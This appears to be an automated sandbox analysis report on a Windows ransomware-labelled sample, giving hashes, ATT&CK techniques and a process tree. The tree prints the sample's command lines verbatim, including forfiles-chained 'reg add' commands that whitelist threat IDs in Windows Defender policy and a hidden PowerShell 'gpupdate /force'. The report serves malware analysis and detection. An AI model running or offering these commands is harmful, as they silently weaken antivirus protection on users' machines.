9baaeb7bd642cd15f5a3f90e13d0de94fca104f60420df63ca9d81741e10babd

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2024, 08:30

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General

Target
2024-06-03_93216b7fd6b4afd438c9275c81fe2e4e_bkransomware.exe
Size 6.6MB
Sample240603-kd71tsad77
SHA256 9baaeb7bd642cd15f5a3f90e13d0de94fca104f60420df63ca9d81741e10babd
MD5 93216b7fd6b4afd438c9275c81fe2e4e
SHA1 e264382895cf7b3a3de251c640e6872121eae64b
SHA512 ae7676f1d5ed25b129bbe7a4c40b1f8db1a89ebabd608491e0bb3040b2727d60b9fb8a73df5f238e15082449d7bddb8e28c3fb6e33c0bdb034cbbd867310a834
SSDEEP 196608:gb6LDrvjBQWj0OjOHzirOSM53JHbaZQx9:RjDvSziqX5HbJ
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3044	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	2024-06-03_93216b7fd6b4afd438c9275c81fe2e4e_bkransomware.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2424	1876	WerFault.exe	81

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 1876 wrote to memory of 5040	1876	2024-06-03_93216b7fd6b4afd438c9275c81fe2e4e_bkransomware.exe	89
PID 1876 wrote to memory of 5040	1876	2024-06-03_93216b7fd6b4afd438c9275c81fe2e4e_bkransomware.exe	89
PID 1876 wrote to memory of 5040	1876	2024-06-03_93216b7fd6b4afd438c9275c81fe2e4e_bkransomware.exe	89
PID 5040 wrote to memory of 2984	5040	cmd.exe	92
PID 5040 wrote to memory of 2984	5040	cmd.exe	92
PID 5040 wrote to memory of 2984	5040	cmd.exe	92
PID 2984 wrote to memory of 1692	2984	forfiles.exe	93
PID 2984 wrote to memory of 1692	2984	forfiles.exe	93
PID 2984 wrote to memory of 1692	2984	forfiles.exe	93
PID 1692 wrote to memory of 4844	1692	cmd.exe	94
PID 1692 wrote to memory of 4844	1692	cmd.exe	94
PID 1692 wrote to memory of 4844	1692	cmd.exe	94
PID 5040 wrote to memory of 4072	5040	cmd.exe	95
PID 5040 wrote to memory of 4072	5040	cmd.exe	95
PID 5040 wrote to memory of 4072	5040	cmd.exe	95
PID 4072 wrote to memory of 4412	4072	forfiles.exe	96
PID 4072 wrote to memory of 4412	4072	forfiles.exe	96
PID 4072 wrote to memory of 4412	4072	forfiles.exe	96
PID 4412 wrote to memory of 2672	4412	cmd.exe	97
PID 4412 wrote to memory of 2672	4412	cmd.exe	97
PID 4412 wrote to memory of 2672	4412	cmd.exe	97
PID 5040 wrote to memory of 1044	5040	cmd.exe	98
PID 5040 wrote to memory of 1044	5040	cmd.exe	98
PID 5040 wrote to memory of 1044	5040	cmd.exe	98
PID 1044 wrote to memory of 3864	1044	forfiles.exe	99
PID 1044 wrote to memory of 3864	1044	forfiles.exe	99
PID 1044 wrote to memory of 3864	1044	forfiles.exe	99
PID 3864 wrote to memory of 4388	3864	cmd.exe	100
PID 3864 wrote to memory of 4388	3864	cmd.exe	100
PID 3864 wrote to memory of 4388	3864	cmd.exe	100
PID 5040 wrote to memory of 3964	5040	cmd.exe	101
PID 5040 wrote to memory of 3964	5040	cmd.exe	101
PID 5040 wrote to memory of 3964	5040	cmd.exe	101
PID 3964 wrote to memory of 3332	3964	forfiles.exe	102
PID 3964 wrote to memory of 3332	3964	forfiles.exe	102
PID 3964 wrote to memory of 3332	3964	forfiles.exe	102
PID 3332 wrote to memory of 3948	3332	cmd.exe	103
PID 3332 wrote to memory of 3948	3332	cmd.exe	103
PID 3332 wrote to memory of 3948	3332	cmd.exe	103
PID 5040 wrote to memory of 5056	5040	cmd.exe	104
PID 5040 wrote to memory of 5056	5040	cmd.exe	104
PID 5040 wrote to memory of 5056	5040	cmd.exe	104
PID 5056 wrote to memory of 4656	5056	forfiles.exe	105
PID 5056 wrote to memory of 4656	5056	forfiles.exe	105
PID 5056 wrote to memory of 4656	5056	forfiles.exe	105
PID 4656 wrote to memory of 3044	4656	cmd.exe	106
PID 4656 wrote to memory of 3044	4656	cmd.exe	106
PID 4656 wrote to memory of 3044	4656	cmd.exe	106
PID 3044 wrote to memory of 4548	3044	powershell.exe	109
PID 3044 wrote to memory of 4548	3044	powershell.exe	109
PID 3044 wrote to memory of 4548	3044	powershell.exe	109

C:\Users\Admin\AppData\Local\Temp\2024-06-03_93216b7fd6b4afd438c9275c81fe2e4e_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-06-03_93216b7fd6b4afd438c9275c81fe2e4e_bkransomware.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1692
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:4844
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4072
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4412
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2672
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3864
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4388
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3332
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3948
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4656
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3044
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4548
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1876 -s 624
  2⤵
  - Program crash
  PID:2424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1876 -ip 1876
1⤵
PID:4508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_3c25gqhc.yhy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3c25gqhc.yhy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1876-20-0x0000000010000000-0x00000000105DA000-memory.dmp

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memory/3044-14-0x0000000005670000-0x00000000059C4000-memory.dmp

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memory/3044-4-0x0000000005440000-0x00000000054A6000-memory.dmp

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memory/3044-3-0x00000000053D0000-0x0000000005436000-memory.dmp

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memory/3044-2-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

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memory/3044-0-0x0000000002140000-0x0000000002176000-memory.dmp

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memory/3044-15-0x0000000005A70000-0x0000000005A8E000-memory.dmp

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memory/3044-16-0x0000000005AC0000-0x0000000005B0C000-memory.dmp

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memory/3044-18-0x0000000005F60000-0x0000000005F7A000-memory.dmp

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memory/3044-17-0x0000000006C60000-0x0000000006CF6000-memory.dmp

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memory/3044-1-0x0000000004DA0000-0x00000000053C8000-memory.dmp

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memory/3044-19-0x0000000005FB0000-0x0000000005FD2000-memory.dmp

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memory/3044-23-0x00000000072B0000-0x0000000007854000-memory.dmp

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